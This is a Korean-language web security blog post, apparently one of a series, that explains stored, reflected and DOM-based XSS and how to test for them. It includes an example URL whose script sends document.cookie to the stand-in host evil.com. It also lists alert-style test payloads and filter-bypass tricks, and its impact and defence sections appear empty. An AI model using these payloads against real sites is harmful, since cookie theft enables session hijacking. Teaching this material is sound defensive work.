← 목록으로

XSS (Cross-Site Scripting): Stored / Reflected / DOM 차이와 방어

[Web] Web · 작성: 2026-07-19 19:15:17 · 조회 4

XSS는 신뢰할 수 없는 입력이 이스케이프 없이 HTML/JS 컨텍스트로 들어가서, 공격자가 만든 스크립트가 피해자 브라우저에서 실행되는 취약점이다.

세 가지 유형

Stored (저장형)

공격자가 입력한 스크립트가 서버(DB)에 저장됐다가, 다른 사용자가 그 페이지를 볼 때마다 실행된다. 게시판 댓글, 프로필 소개글, 마크다운 포스트가 전형적인 타겟이다. 영향 범위가 가장 넓다 — 한 번 심으면 여러 사용자가 계속 당한다.

Reflected (반사형)

서버가 요청 파라미터를 검증 없이 그대로 응답에 포함시킬 때 발생. URL에 페이로드를 심어서 피해자가 그 링크를 클릭하게 유도해야 한다.

https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

DOM-based

서버를 거치지 않고, 클라이언트 JS가 location.hash, document.URL 같은 값을 검증 없이 innerHTML에 꽂아 넣을 때 발생. 서버 로그에는 흔적이 안 남을 수 있어서 놓치기 쉽다.

실제로 뭘 할 수 있나

단순 alert(1)은 PoC일 뿐이고, 실제 impact는 다음과 같다.

탐지 방법

  1. 모든 입력 지점에 <script>alert(1)</script>, "><img src=x onerror=alert(1)> 등을 넣어보고 반응 확인
  2. 필터링이 있으면 우회 시도 — 대소문자 섞기, 이벤트 핸들러(onerror, onload), javascript: 스킴, 인코딩
  3. 어디에 반영되는지 컨텍스트 확인 (HTML 본문 / 속성값 / <script> 태그 내부 / URL) — 컨텍스트마다 필요한 페이로드가 다르다
  4. Stored XSS는 입력한 뒤 다른 세션(다른 브라우저/시크릿 모드)으로 재방문해서 실행되는지 확인

방어

Web 카테고리의 글 (2/11)

  1. SQL Injection: 원리, 탐지, 방어
  2. XSS (Cross-Site Scripting): Stored / Reflected / DOM 차이와 방어
  3. CSRF (Cross-Site Request Forgery): 원리와 방어
  4. IDOR / BOLA: 권한 검증이 빠졌을 때
  5. SSRF (Server-Side Request Forgery): 서버가 대신 요청하게 만들기
  6. 파일 업로드 취약점: 웹쉘로 이어지는 경로
  7. 안전하지 않은 역직렬화 (Insecure Deserialization)
  8. SSTI (Server-Side Template Injection): 원리와 탐지
  9. OS Command Injection: 원리와 필터 우회
  10. JWT 취약점: alg=none부터 알고리즘 컨퓨전까지
  11. Race Condition (TOCTOU) 취약점
← SQL Injection: 원리, 탐지, 방어 CSRF (Cross-Site Request Forgery): 원리와 방어 →